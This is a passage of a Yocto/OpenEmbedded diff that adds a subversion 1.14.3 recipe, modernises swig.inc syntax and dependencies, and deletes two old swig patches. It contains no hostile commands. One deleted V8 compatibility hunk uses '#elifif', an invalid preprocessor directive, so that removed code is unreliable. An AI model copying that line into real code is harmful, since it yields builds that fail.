`/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
-#| x86_64-linux-libtool: install: error: relink `libsvn_ra_serf-1.la' with the above command before installing it
-#| x86_64-linux-libtool: install: warning: `../../subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
-#| /home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/subversion-1.8.9/build-outputs.mk:1090: recipe for target 'install-serf-lib' failed
-#| make: *** [install-serf-lib] Error 1
-PARALLEL_MAKEINST = ""
-
-RDEPENDS_${PN} = "serf"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/subversion/subversion_1.14.3.bb b/meta/recipes-devtools/subversion/subversion_1.14.3.bb
new file mode 100644
index 0000000000..1cf4e1734b
--- /dev/null
+++ b/meta/recipes-devtools/subversion/subversion_1.14.3.bb
@@ -0,0 +1,61 @@
+SUMMARY = "Subversion (svn) version control system client"
+HOMEPAGE = "http://subversion.apache.org"
+DESCRIPTION = "Subversion is an open source version control system."
+SECTION = "console/network"
+LICENSE = "Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6487ae7094d359fa90fb9c4096e52e2b"
+
+DEPENDS = "apr-util serf sqlite3 file lz4"
+DEPENDS:append:class-native = " file-replacement-native"
+
+SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://serfmacro.patch \
+ "
+
+SRC_URI[sha256sum] = "949efd451a09435f7e8573574c71c7b71b194d844890fa49cd61d2262ea1a440"
+
+inherit autotools pkgconfig gettext python3native
+
+CVE_PRODUCT = "apache:subversion"
+
+PACKAGECONFIG ?= ""
+
+PACKAGECONFIG[boost] = "--with-boost=${RECIPE_SYSROOT}${exec_prefix},--without-boost,boost"
+PACKAGECONFIG[sasl] = "--with-sasl,--without-sasl,cyrus-sasl"
+PACKAGECONFIG[gnome-keyring] = "--with-gnome-keyring,--without-gnome-keyring,glib-2.0 gnome-keyring"
+
+EXTRA_OECONF = " \
+ --with-apr=${STAGING_BINDIR_CROSS} \
+ --with-apr-util=${STAGING_BINDIR_CROSS} \
+ --without-apxs \
+ --without-berkeley-db \
+ --without-swig \
+ --disable-keychain \
+ --with-utf8proc=internal \
+ ac_cv_path_RUBY=none \
+"
+
+EXTRA_OEMAKE += "pkgconfig_dir=${libdir}/pkgconfig"
+
+acpaths = "-I build/ -I build/ac-macros/"
+
+CPPFLAGS += "-P"
+BUILD_CPPFLAGS += "-P"
+
+do_configure:prepend () {
+ rm -f ${S}/libtool
+ rm -f ${S}/build/libtool.m4 ${S}/build/ltmain.sh ${S}/build/ltoptions.m4 ${S}/build/ltsugar.m4 ${S}/build/ltversion.m4 ${S}/build/lt~obsolete.m4
+ rm -f ${S}/aclocal.m4
+ sed -i -e 's:with_sasl="/usr/local":with_sasl="${STAGING_DIR}":' ${S}/build/ac-macros/sasl.m4
+}
+
+#| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_local/libsvn_ra_local-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| /usr/bin/ld: cannot find -lsvn_delta-1| collect2: ld returned 1 exit status| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_svn/libsvn_ra_svn-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_serf/libsvn_ra_serf-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
+#| x86_64-linux-libtool: install: error: relink `libsvn_ra_serf-1.la' with the above command before installing it
+#| x86_64-linux-libtool: install: warning: `../../subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
+#| /home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/subversion-1.8.9/build-outputs.mk:1090: recipe for target 'install-serf-lib' failed
+#| make: *** [install-serf-lib] Error 1
+PARALLEL_MAKEINST = ""
+
+RDEPENDS:${PN} = "serf"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/swig/swig.inc b/meta/recipes-devtools/swig/swig.inc
index e62718c508..7a6c4d7359 100644
--- a/meta/recipes-devtools/swig/swig.inc
+++ b/meta/recipes-devtools/swig/swig.inc
@@ -3,16 +3,18 @@ DESCRIPTION = "SWIG is a compiler that makes it easy to integrate C and C++ \
code with other languages including Perl, Tcl, Ruby, Python, Java, Guile, \
Mzscheme, Chicken, OCaml, Pike, and C#."
HOMEPAGE = "http://swig.sourceforge.net/"
-LICENSE = "BSD & GPLv3"
+LICENSE = "BSD-3-Clause & GPL-3.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e7807a6282784a7dde4c846626b08fc6 \
file://LICENSE-GPL;md5=d32239bcb673463ab874e80d47fae504 \
file://LICENSE-UNIVERSITIES;md5=8ce9dcc8f7c994de4a408b205c72ba08"
SECTION = "devel"
-DEPENDS = "libpcre bison-native"
+DEPENDS = "libpcre2 bison-native"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/swig/files/swig/"
+UPSTREAM_CHECK_REGEX = "swig-(?P<pver>\d+(\.\d+)+)"
inherit autotools python3native pkgconfig
@@ -47,11 +49,11 @@ BBCLASSEXTEND = "native nativesdk"
# necessary together with bison dependency until a new upstream version after
# 3.0.12 includes 0001-Fix-generated-code-for-constant-expressions-containi.patch
-do_configure_append() {
+do_configure:append() {
mkdir -p ${B}/Source/CParse
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
cd ${D}${bindir}
ln -s swig swig2.0
}
@@ -60,6 +62,6 @@ def swiglib_relpath(d):
swiglib = d.getVar('datadir') + "/" + d.getVar('BPN') + "/" + d.getVar('PV')
return os.path.relpath(swiglib, d.getVar('bindir'))
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/swig SWIG_LIB='`dirname $''realpath`'/${@swiglib_relpath(d)}
}
diff --git a/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch b/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch
deleted file mode 100644
index 885c395614..0000000000
--- a/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch
+++ /dev/null
@@ -1,330 +0,0 @@
-From 1a5aadcd66e85c63d228bfd811a521d617c22a38 Mon Sep 17 00:00:00 2001
-From: Patrick Schneider <patrick.schneider@meetnow.eu>
-Date: Thu, 13 Apr 2017 15:02:53 +0200
-Subject: [PATCH] Add Node 7.x aka V8 5.2+ support
-
-* Use WeakCallbackInfo instead of WeakCallbackData
-* Use GetPrivate instead of GetHiddenValue
-* Adopted new signature for SetWeak to support destructor calling
-* SetAccessor deprecation fixed
-* Proper version checks where applicable
-
-Upstream-Status: Submitted [https://github.com/swig/swig/pull/968]
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
----
- Lib/javascript/v8/javascriptcode.swg | 27 +++++++++++++++++-----
- Lib/javascript/v8/javascripthelpers.swg | 29 +++++++++++++++++++++---
- Lib/javascript/v8/javascriptinit.swg | 16 +++++++++++--
- Lib/javascript/v8/javascriptrun.swg | 40 ++++++++++++++++++++++++++++-----
- 4 files changed, 95 insertions(+), 17 deletions(-)
-
-diff --git a/Lib/javascript/v8/javascriptcode.swg b/Lib/javascript/v8/javascriptcode.swg
-index fb7d55c..b8c5089 100644
---- a/Lib/javascript/v8/javascriptcode.swg
-+++ b/Lib/javascript/v8/javascriptcode.swg
-@@ -133,10 +133,13 @@ static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Value> object, v
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Object> *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+ static void $jswrapper(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- if(proxy->swigCMemOwn && proxy->swigCObject) {
-@@ -147,7 +150,9 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- }
- delete proxy;
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
-+#endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
- object.Dispose();
-@@ -155,7 +160,7 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- object.Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x032100)
- object->Dispose(isolate);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object->Dispose();
- #endif
- }
-@@ -177,10 +182,13 @@ static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Value> object, v
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- static void $jswrapper(v8::Isolate *isolate, v8::Persistent< v8::Object> *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+static void $jswrapper(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- if(proxy->swigCMemOwn && proxy->swigCObject) {
-@@ -197,7 +205,7 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- object->Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- object->Dispose();
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
- #endif
- }
-@@ -211,7 +219,11 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- * ----------------------------------------------------------------------------- */
- %fragment("js_getter", "templates")
- %{
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static SwigV8ReturnValue $jswrapper(v8::Local<v8::String> property, const SwigV8PropertyCallbackInfo &info) {
-+#else
-+static SwigV8ReturnValue $jswrapper(v8::Local<v8::Name> property, const SwigV8PropertyCallbackInfo &info) {
-+#endif
- SWIGV8_HANDLESCOPE();
-
- v8::Handle<v8::Value> jsresult;
-@@ -233,8 +245,11 @@ fail:
- * ----------------------------------------------------------------------------- */
- %fragment("js_setter", "templates")
- %{
--static void $jswrapper(v8::Local<v8::String> property, v8::Local<v8::Value> value,
-- const SwigV8PropertyCallbackInfoVoid &info) {
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
-+static void $jswrapper(v8::Local<v8::String> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid &info) {
-+#else
-+static void $jswrapper(v8::Local<v8::Name> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid &info) {
-+#endif
- SWIGV8_HANDLESCOPE();
-
- $jslocals
-diff --git a/Lib/javascript/v8/javascripthelpers.swg b/Lib/javascript/v8/javascripthelpers.swg
-index 091467d..7461079 100644
---- a/Lib/javascript/v8/javascripthelpers.swg
-+++ b/Lib/javascript/v8/javascripthelpers.swg
-@@ -6,11 +6,16 @@ typedef v8::InvocationCallback SwigV8FunctionCallback;
- typedef v8::AccessorGetter SwigV8AccessorGetterCallback;
- typedef v8::AccessorSetter SwigV8AccessorSetterCallback;
- typedef v8::AccessorInfo SwigV8PropertyCallbackInfoVoid;
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- typedef v8::FunctionCallback SwigV8FunctionCallback;
- typedef v8::AccessorGetterCallback SwigV8AccessorGetterCallback;
- typedef v8::AccessorSetterCallback SwigV8AccessorSetterCallback;
- typedef v8::PropertyCallbackInfo<void> SwigV8PropertyCallbackInfoVoid;
-+#else
-+typedef v8::FunctionCallback SwigV8FunctionCallback;
-+typedef v8::AccessorNameGetterCallback SwigV8AccessorGetterCallback;
-+typedef v8::AccessorNameSetterCallback SwigV8AccessorSetterCallback;
-+typedef v8::PropertyCallbackInfo<void> SwigV8PropertyCallbackInfoVoid;
- #endif
-
- /**
-@@ -65,18 +70,36 @@ SWIGRUNTIME void SWIGV8_AddStaticFunction(v8::Handle<v8::Object> obj, const char
- */
- SWIGRUNTIME void SWIGV8_AddStaticVariable(v8::Handle<v8::Object> obj, const char* symbol,
- SwigV8AccessorGetterCallback getter, SwigV8AccessorSetterCallback setter) {
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- obj->SetAccessor(SWIGV8_SYMBOL_NEW(symbol), getter, setter);
-+#else
-+ obj->SetAccessor(SWIGV8_CURRENT_CONTEXT(), SWIGV8_SYMBOL_NEW(symbol), getter, setter);
-+#endif
- }
-
--SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::String> property, v8::Local<v8::Value> value,
-- const SwigV8PropertyCallbackInfoVoid& info)
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
-+SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::String> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid& info)
-+#else
-+SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::Name> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid& info)
-+#endif
- {
- char buffer[256];
- char msg[512];
- int res;
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- property->WriteUtf8(buffer, 256);
- res = sprintf(msg, "Tried to write read-only variable: %s.", buffer);
-+#else
-+ v8::Local<v8::String> sproperty;
-+ if (property->ToString(SWIGV8_CURRENT_CONTEXT()).ToLocal(&sproperty)) {
-+ sproperty->WriteUtf8(buffer, 256);
-+ res = sprintf(msg, "Tried to write read-only variable: %s.", buffer);
-+ }
-+ else {
-+ res = -1;
-+ }
-+#endif
-
- if(res<0) {
- SWIG_exception(SWIG_ERROR, "Tried to write read-only variable.");
-diff --git a/Lib/javascript/v8/javascriptinit.swg b/Lib/javascript/v8/javascriptinit.swg
-index 34befa7..86008d9 100644
---- a/Lib/javascript/v8/javascriptinit.swg
-+++ b/Lib/javascript/v8/javascriptinit.swg
-@@ -7,15 +7,27 @@ SWIG_V8_SetModule(void *, swig_module_info *swig_module) {
- v8::Local<v8::Object> global_obj = SWIGV8_CURRENT_CONTEXT()->Global();
- v8::Local<v8::External> mod = SWIGV8_EXTERNAL_NEW(swig_module);
- assert(!mod.IsEmpty());
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- global_obj->SetHiddenValue(SWIGV8_STRING_NEW("swig_module_info_data"), mod);
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("swig_module_info_data"));
-+ global_obj->SetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey, mod);
-+#endif
- }
-
- SWIGRUNTIME swig_module_info *
- SWIG_V8_GetModule(void *) {
- v8::Local<v8::Object> global_obj = SWIGV8_CURRENT_CONTEXT()->Global();
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- v8::Local<v8::Value> moduleinfo = global_obj->GetHiddenValue(SWIGV8_STRING_NEW("swig_module_info_data"));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("swig_module_info_data"));
-+ v8::Local<v8::Value> moduleinfo;
-+ if (!global_obj->GetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey).ToLocal(&moduleinfo))
-+ return 0;
-+#endif
-
-- if (moduleinfo.IsEmpty())
-+ if (moduleinfo.IsEmpty() || moduleinfo->IsNull() || moduleinfo->IsUndefined())
- {
- // It's not yet loaded
- return 0;
-@@ -23,7 +35,7 @@ SWIG_V8_GetModule(void *) {
-
- v8::Local<v8::External> moduleinfo_extern = v8::Local<v8::External>::Cast(moduleinfo);
-
-- if (moduleinfo_extern.IsEmpty())
-+ if (moduleinfo_extern.IsEmpty() || moduleinfo_extern->IsNull() || moduleinfo_extern->IsUndefined())
- {
- // Something's not right
- return 0;
-diff --git a/Lib/javascript/v8/javascriptrun.swg b/Lib/javascript/v8/javascriptrun.swg
-index 5ac52a5..30002c0 100644
---- a/Lib/javascript/v8/javascriptrun.swg
-+++ b/Lib/javascript/v8/javascriptrun.swg
-@@ -193,8 +193,10 @@ public:
- void (*dtor) (v8::Isolate *isolate, v8::Persistent< v8::Value> object, void *parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- void (*dtor) (v8::Isolate *isolate, v8::Persistent< v8::Object > *object, SWIGV8_Proxy *proxy);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- void (*dtor) (const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data);
-+#else
-+ void (*dtor) (const v8::WeakCallbackInfo<SWIGV8_Proxy> &data);
- #endif
- };
-
-@@ -241,9 +243,12 @@ SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(v8::Isolate *, v8::Persistent< v8::Val
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(v8::Isolate *, v8::Persistent< v8::Object > *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- delete proxy;
-@@ -312,12 +317,18 @@ SWIGRUNTIME void SWIGV8_SetPrivateData(v8::Handle<v8::Object> obj, void *ptr, sw
- } else {
- cdata->handle.MakeWeak(cdata, SWIGV8_Proxy_DefaultDtor);
- }
--#else
-+#elifif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- if(cdata->swigCMemOwn && (SWIGV8_ClientData*)info->clientdata) {
- cdata->handle.SetWeak(cdata, ((SWIGV8_ClientData*)info->clientdata)->dtor);
- } else {
- cdata->handle.SetWeak(cdata, SWIGV8_Proxy_DefaultDtor);
- }
-+#else
-+ if(cdata->swigCMemOwn && (SWIGV8_ClientData*)info->clientdata) {
-+ cdata->handle.SetWeak(cdata, ((SWIGV8_ClientData*)info->clientdata)->dtor, v8::WeakCallbackType::kParameter);
-+ } else {
-+ cdata->handle.SetWeak(cdata, SWIGV8_Proxy_DefaultDtor, v8::WeakCallbackType::kParameter);
-+ }
- #endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
-@@ -470,7 +481,14 @@ int SwigV8Packed_Check(v8::Handle<v8::Value> valRef) {
-
- v8::Handle<v8::Object> objRef = valRef->ToObject();
- if(objRef->InternalFieldCount() < 1) return false;
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- v8::Handle<v8::Value> flag = objRef->GetHiddenValue(SWIGV8_STRING_NEW("__swig__packed_data__"));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("__swig__packed_data__"));
-+ v8::Local<v8::Value> flag;
-+ if (!objRef->GetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey).ToLocal(&flag))
-+ return false;
-+#endif
- return (flag->IsBoolean() && flag->BooleanValue());
- }
-
-@@ -519,10 +537,13 @@ SWIGRUNTIME void _wrap_SwigV8PackedData_delete(v8::Isolate *isolate, v8::Persist
- SwigV8PackedData *cdata = static_cast<SwigV8PackedData *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- SWIGRUNTIME void _wrap_SwigV8PackedData_delete(v8::Isolate *isolate, v8::Persistent<v8::Object> *object, SwigV8PackedData *cdata) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackData<v8::Object, SwigV8PackedData> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SwigV8PackedData *cdata = data.GetParameter();
-+#else
-+SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackInfo<SwigV8PackedData> &data) {
-+ SwigV8PackedData *cdata = data.GetParameter();
- #endif
-
- delete cdata;
-@@ -537,7 +558,7 @@ SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackData<v8::Ob
- object->Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- object->Dispose();
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
- #endif
- }
-@@ -550,7 +571,12 @@ v8::Handle<v8::Value> SWIGV8_NewPackedObj(void *data, size_t size, swig_type_inf
- // v8::Handle<v8::Object> obj = SWIGV8_OBJECT_NEW();
- v8::Local<v8::Object> obj = SWIGV8_OBJECT_NEW();
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- obj->SetHiddenValue(SWIGV8_STRING_NEW("__swig__packed_data__"), SWIGV8_BOOLEAN_NEW(true));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("__swig__packed_data__"));
-+ obj->SetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey, SWIGV8_BOOLEAN_NEW(true));
-+#endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031511)
- obj->SetPointerInInternalField(0, cdata);
-@@ -573,9 +599,11 @@ v8::Handle<v8::Value> SWIGV8_NewPackedObj(void *data, size_t size, swig_type_inf
- cdata->handle.MakeWeak(v8::Isolate::GetCurrent(), cdata, _wrap_SwigV8PackedData_delete);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- cdata->handle.MakeWeak(cdata, _wrap_SwigV8PackedData_delete);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- cdata->handle.SetWeak(cdata, _wrap_SwigV8PackedData_delete);
- // v8::V8::SetWeak(&cdata->handle, cdata, _wrap_SwigV8PackedData_delete);
-+#else
-+ cdata->handle.SetWeak(cdata, _wrap_SwigV8PackedData_delete, v8::WeakCallbackType::kParameter);
- #endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
---
-2.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch b/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch
deleted file mode 100644
index f4ed782a82..0000000000
--- a/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch
+++ /dev/null
@@ -1,179 +0,0 @@
-From 90ba174fcea1618af57aa594199541d47a89b7f6 Mon Sep 17 00:00:00 2001
-From: William S Fulton <wsf@fultondesigns.co.uk>
-Date: Sun, 17 Sep 2017 19:02:55 +0100
-Subject: [PATCH 1/2] Fix generated code for constant expressions containing
- wchar_t L literals.
-
-Such as:
- # define __WCHAR_MAX (0x7fffffff + L'\0')
-
-Reported on swig-user mailing list.
----
- CHANGES.current | 5 +++++
- Examples/test-suite/csharp/preproc_constants_c_runme.cs | 3 ++-
- Examples/test-suite/csharp/preproc_constants_runme.cs | 2 ++
- Examples/test-suite/d/preproc_constants_c_runme.1.d | 2 ++
- Examples/test-suite/d/preproc_constants_c_runme.2.d | 2 ++
- Examples/test-suite/d/preproc_constants_runme.1.d | 2 ++
- Examples/test-suite/d/preproc_constants_runme.2.d | 2 ++
- Examples/test-suite/php/preproc_constants_c_runme.php | 2 ++
- Examples/test-suite/php/preproc_constants_runme.php | 2 ++
- Examples/test-suite/php5/preproc_constants_c_runme.php | 2 ++
- Examples/test-suite/php5/preproc_constants_runme.php | 2 ++
- Examples/test-suite/preproc_constants.i | 3 +++
- Source/CParse/parser.y | 2 +-
- 13 files changed, 29 insertions(+), 2 deletions(-)
-
-Upstream-Status: Backport
-[https://github.com/swig/swig/commit/90ba174fcea1618af57aa594199541d47a89b7f6]
-Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
-
-diff --git a/Examples/test-suite/csharp/preproc_constants_c_runme.cs b/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-index 76c684d..1c28e49 100644
---- a/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-+++ b/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-@@ -61,7 +61,8 @@ public class runme {
- assert( typeof(int) == preproc_constants_c.EXPR_LAND.GetType() );
- assert( typeof(int) == preproc_constants_c.EXPR_LOR.GetType() );
- assert( typeof(double) == preproc_constants_c.EXPR_CONDITIONAL.GetType() );
--
-+ assert( typeof(int) == preproc_constants_c.EXPR_WCHAR_MAX.GetType() );
-+ assert( typeof(int) == preproc_constants_c.EXPR_WCHAR_MIN.GetType() );
- }
- static void assert(bool assertion) {
- if (!assertion)
-diff --git a/Examples/test-suite/csharp/preproc_constants_runme.cs b/Examples/test-suite/csharp/preproc_constants_runme.cs
-index 9fae591..6b02e30 100644
---- a/Examples/test-suite/csharp/preproc_constants_runme.cs
-+++ b/Examples/test-suite/csharp/preproc_constants_runme.cs
-@@ -60,6 +60,8 @@ public class runme {
- assert( typeof(bool) == preproc_constants.EXPR_LAND.GetType() );
- assert( typeof(bool) == preproc_constants.EXPR_LOR.GetType() );
- assert( typeof(double) == preproc_constants.EXPR_CONDITIONAL.GetType() );
-+ assert( typeof(int) == preproc_constants.EXPR_WCHAR_MAX.GetType() );
-+ assert( typeof(int) == preproc_constants.EXPR_WCHAR_MIN.GetType() );
-
- }
- static void assert(bool assertion) {
